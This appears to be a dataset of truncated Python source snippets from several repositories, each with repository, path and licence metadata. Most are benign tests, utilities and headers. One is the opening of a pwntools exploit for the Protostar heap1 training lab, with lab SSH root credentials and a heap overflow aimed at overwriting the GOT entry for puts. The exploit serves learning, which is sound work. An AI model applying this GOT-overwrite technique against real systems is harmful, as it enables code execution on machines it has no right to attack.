import pytest from conftest import assert_bash_exec @pytest.mark.bashcomp(cmd=None, ignore_env=r"^\+COMPREPLY=") class TestUnitTilde: def test_1(self, bash): assert_bash_exec(bash, "_tilde >/dev/null") def test_2(self, bash): """Test environment non-pollution, detected at teardown.""" ...
algorythmic/bash-completion
test/t/unit/test_unit_tilde.py
Python
gpl-2.0
1,246
from pwn import * #change the host IP to your IP sh = ssh(host='192.168.1.104', user='root', password='godmode', port=22) cmd = sh.set_working_directory('/opt/protostar/bin') e = ELF("./heap1") puts_add = p32(e.got["puts"]) winner = pack(0x8048494) print "puts: ", puts_add arg1 = "A"*20 arg1 += puts_...
spchal/Pwn-Write-ups
protostar/ex_heap1.py
Python
gpl-2.0
395
#!/usr/bin/python # Modified 30-Oct-2013 # tng@chegwin.org # Retrieve: # 1: current temperature from a TMP102 sensor # 2: Send to redis import sys,time from sys import path import datetime from time import sleep import re import redis time_to_live = 3600 ###### IMPORTANT ############# ###### How close to comfortable ...
tommybobbins/velpi
utilities/redis_sensor.py
Python
gpl-2.0
2,563
# vim: set fileencoding=utf-8 : """ This is a example of a unittest module """ import unittest class TestExample(unittest.TestCase): """ Test of test """ def test_one(self): """ This is a example of a unittest """ self.assertFalse(False) def test_two(self): ...
SabatierBoris/CecileWebSite
pyramidapp/tests/testexample.py
Python
gpl-2.0
407
# -*- coding: UTF-8 -*- ''' videoscraper scraper for Exodus forks. Nov 9 2018 - Checked Updated and refactored by someone. Originally created by others. ''' import json, urllib, urlparse from resources.lib.modules import client from resources.lib.modules import directstream class source: def __i...
RuiNascimento/krepo
script.module.lambdascrapers/lib/lambdascrapers/sources_ lambdascrapers/en/videoscraper.py
Python
gpl-2.0
2,631
import tkinter window = tkinter.Tk() window.mainloop() print('Anybody home?')
simontakite/sysadmin
pythonscripts/practicalprogramming/gui/mainloop.py
Python
gpl-2.0
78
# -*- coding: utf-8 -*- # # RERO ILS # Copyright (C) 2019 RERO # Copyright (C) 2020 UCLouvain # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, version 3 of the License. # # This program ...
rero/reroils-app
rero_ils/modules/organisations/api.py
Python
gpl-2.0
7,019